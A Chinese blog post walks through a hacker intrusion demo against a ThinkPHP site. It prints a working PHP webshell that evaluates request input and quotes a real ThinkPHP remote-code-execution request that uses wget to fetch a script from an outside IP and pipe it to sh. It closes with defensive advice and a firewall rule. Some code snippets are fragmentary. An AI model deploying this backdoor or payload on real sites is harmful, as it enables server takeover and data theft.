最近菠菜园更换了一台新的服务器,因为之前的备案号被取消于是索性也不再备案了。其实这个博客我是打算转让的,在转让之前顺便再写点东西,保持着目前搜索引擎的一个排名。
今天波波不打算写别的内容,主要聊聊黑客是如何入侵网站的。我们知道黑客入侵网站除了Ddos这种没有技术含量的攻击之外,稍微有技术含量的无外乎网站的一些漏洞和后门。
下面波波就以目前最流行的ThinkPHP框架为例来分享黑客入侵的过程。
1、搭建虚拟的攻击环境。
我们假设thinkPHP的入口文件在public目录下。在网站入口文件index.php文件中写入如下一段代码:
- <?php
- require __DIR__.'/Application/database.php';
- public function index(){
- echo "<h1>MilFun 代码演示</h1><br><p>现在是正常状态的输出!</p>"
在database.php文件中我们写入数据库配置参数,随便写一些就行。
2、上传一段后门程序hack.php,源码如下:
- <?php
- function config_local(){
- @$conn = $_REQUEST;
- return @($conn['config']);
- }
- @extract(array(conn=>create_function(NULL,config_local())));
- @extract(array($cless=>$conn()));
代码比较简单,仅作演示。
3、模拟攻击。
①正常状态下的显示:
通过上图可以看到演示网站可以正常访问。
②访问下我们的后门程序。
虽然是空白,但是也没有报错。接下来我们尝试获取服务器配置信息。
③获取PHP版本信息
好了,现在服务器上PHP版本信息及数据库类型已经呈现出来了。
④网页重定向测试。
正常跳转到百度,那么你的网站已经可以随意跳转到任何黑客想要跳转的地方。到这里很多关注安全的朋友应该对“远程代码执行”有了一个初步的印象。
⑤获取数据库配置
到这一步不知道朋友们有没有感到惊恐?其实不用担心,尽管数据库配置信息被黑客获取到了,只要我们不开启数据库端口的远程访问权限就没有问题。所以我们平时一定要养成良好的习惯。
剩下删除文件,修改网站源代码的部分,波波就不再演示了。我们再回顾下整个攻击过程:
1、选定攻击目标。test.com
2、扫描网站漏洞,这里利用的是枚举目录和任意文件上传漏洞。
3、通过我们上传的后门程序了解服务器的配置信息,寻找更多可攻击的点。
4、利用现有的工具实施攻击。
本篇文章重在通过黑客入侵网站的演示过程,帮助朋友们更好的理解如何做好服务器的维护。当然了安全永远是相对的,没有100%的安全。在日常手写代码和服务器维护中一定养成好的习惯。对用户的输入做严格的过滤。
小福利:
不知道朋友们采用thinkPHP开发的项目有没有收到类似的请求:
- /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20-q%20-O%20-%2082.146.58.234/p2.sh|sh
其实上述请求就是利用thinkphp核心漏洞进行攻击的一个实例。应对方法有两种:
第一种:升级Thinkphp核心文件。
第二种:添加防火墙规则,对请求的URL以及POST请求进行过滤。规则如下。
- \[function|exec|invokefunction]$